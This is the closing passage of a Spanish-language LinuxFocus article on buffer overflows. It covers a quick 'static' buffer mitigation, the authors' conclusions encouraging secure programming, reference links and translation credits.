rápidamente de los agujeros de seguridad añadiendo la palabra <CODE>static</CODE> antes de la declaración del búfer. El compilador aloja esta variable en el segmento de datos lejos de la pila de proceso. Conseguir una shell se convierte en algo imposible, pero no soluciona el problema de un ataque por denegación de servicio. Por supuesto, esto no funciona si la rutina es llamada de forma recursiva. Esta "medicina" debe ser considerada como un paliativo, utilizado únicamente para eliminar un agujero de seguridad en una emergencia sin tener que modificar demasiado el código.</P> <A NAME="lfindex9"> </A> <H2>Conclusiones</H2> Esperamos que este breve repaso a los desbordamientos de búfer les ayude a programar de forma más segura. Incluso si la técnica de ataque requiere una profunda comprensión del mecanismo, el fundamento general es bastante accesible. Por otro lado, la implementación de precauciones no es tan complicada. No olviden que es más rápido hacer un programa seguro en tiempo de diseño que parchear los fallos más adelante. Confirmaremos este principio en nuestro siguiente artículo sobre <EM>bugs de formato</EM>. <A NAME="lfindex10"> </A> <H2>Enlaces</H2> <UL> <LI>Página de Christophe Blaess : <A href= "http://perso.club-internet.fr/ccb/">perso.club-internet.fr/ccb/</A></LI> <LI>Página de Christophe Grenier : <A href= "http://www.esiea.fr/public_html/Christophe.GRENIER/">www.esiea.fr/public_html/Christophe.GRENIER/</A></LI> <LI>Página de Frédéric Raynal : <A href= "http://www-rocq.inria.fr/~raynal/">www-rocq.inria.fr/~raynal/</A></LI> <LI>Phrack Magazine : <A href= "http://phrack.infonexus.com/">phrack.infonexus.com/</A>.</LI> <LI>Desbordamiento del monte de pila : <A href= "http://www.w00w00.org/files/articles/heaptut.txt">www.w00w00.org/files/articles/heaptut.txt</A></LI> </UL> <!-- 2pdaIgnoreStart --> <A NAME="talkback"> </a> <h2>Formulario de "talkback" para este artículo</h2> Cada artículo tiene su propia página de "talkback". A través de esa página puedes enviar un comentario o consultar los comentarios de otros lectores <center> <table border="0" CELLSPACING="2" CELLPADDING="1"> <tr BGCOLOR="#C2C2C2"><td align=center> <table border="3" CELLSPACING="2" CELLPADDING="1"> <tr BGCOLOR="#C2C2C2"><td align=center> <A href="http://cgi.linuxfocus.org/cgi-bin/lftalkback?anum=190&lang=es"><b> Ir a la página de "talkback" </b></a> </td></tr></table> </td></tr></table> </center> <HR size="2" noshade> <!-- ARTICLE FOOT --> <CENTER><TABLE WIDTH="95%"> <TR><TD ALIGN=CENTER BGCOLOR="#9999AA"> <A HREF="../../common/lfteam.html">Contactar con el equipo de LinuFocus</A> <BR><FONT COLOR="#FFFFFF">© Frédéric Raynal, Christophe Blaess, Christophe Grenier, <a href="../../common/copy.html">FDL</a> <BR><a href="http://www.linuxfocus.org">LinuxFocus.org</a></FONT> <BR><a href="http://cgi.linuxfocus.org/cgi-bin/lfcomment?lang=es&article=article190.html" target="_TOP">Pinchar aquí para informar de algún problema o enviar comentarios a LinuxFocus</A><BR></TD> <TD BGCOLOR="#9999AA"><!-- TRANSLATION INFO --> <font size=2>Información sobre la traducción:</font><TABLE> <tr><td><font size=2>fr</font></td> <td><font size=2>-></font></td> <td><font size=2>--</font></td> <td><font size=2><a href="mailto:pappy@users.sourceforge.net,ccb@club-internet.fr,grenier@nef.esiea.fr"><FONT COLOR="#FFFFFF"> Frédéric Raynal, Christophe Blaess, Christophe Grenier</FONT></a></font></td> </tr> <tr><td><font size=2>fr</font></td> <td><font size=2>-></font></td> <td><font size=2>en</font></td> <td><font size=2><a href="mailto:georges.t@linuxfocus.org"><FONT COLOR="#FFFFFF">Georges Tarbouriech</FONT></a></font></td> </tr> <tr><td><font size=2>en</font></td> <td><font size=2>-></font></td> <td><font size=2>en</font></td> <td><font size=2><a href="mailto:sherm_pbody@yahoo.com"><FONT COLOR="#FFFFFF">Lorne Bailey</FONT></a></font></td> </tr> <tr><td><font size=2>en</font></td> <td><font size=2>-></font></td> <td><font size=2>es</font></td> <td><font size=2><a href="mailto:bblanco@crvasca.com"><FONT COLOR="#FFFFFF">Begoña Blanco</FONT></a></font></td> </tr> </TABLE></TD> </TR></TABLE></CENTER> <p><font size=1>2001-05-14, generated by lfparser version 2.9</font></p> <!-- 2pdaIgnoreStop --> </BODY> </HTML>